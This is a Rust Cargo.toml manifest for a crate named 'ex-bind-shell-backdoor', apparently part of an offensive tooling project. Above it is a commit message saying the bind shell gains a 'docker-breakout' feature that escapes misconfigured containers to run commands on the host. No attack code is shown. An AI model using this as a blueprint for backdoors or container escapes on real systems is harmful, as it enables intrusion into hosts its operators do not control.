if the bind shell example is compiled with the right feature and is run inside a(n) (im)properly configured Docker container, it is now able to break out and run some commands on the host for some reason, under this breakout mode, it runs a little weird with networking commands, but does fine with file system or IPC based commands
23 lines
592 B
TOML
23 lines
592 B
TOML
[package]
|
|
name = "ex-bind-shell-backdoor"
|
|
version = "0.1.0"
|
|
edition = "2021"
|
|
|
|
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
|
|
|
[dependencies]
|
|
tokio = { version = "1.21.2", features = ["net", "rt", "macros", "rt-multi-thread", "sync", "process", "io-util"] }
|
|
pcap-sys = { path = "../../../pcap-sys" }
|
|
ex-bind-shell-key-generator = { path = "../key-generator" }
|
|
anyhow = "1.0.70"
|
|
tokio-stream = "0.1.14"
|
|
ed25519-dalek = "1.0.1"
|
|
log = "0.4.17"
|
|
simple_logger = "4.1.0"
|
|
|
|
[build-dependencies]
|
|
cc = "1.0"
|
|
|
|
[features]
|
|
docker-breakout = []
|
|
no-exit = [] |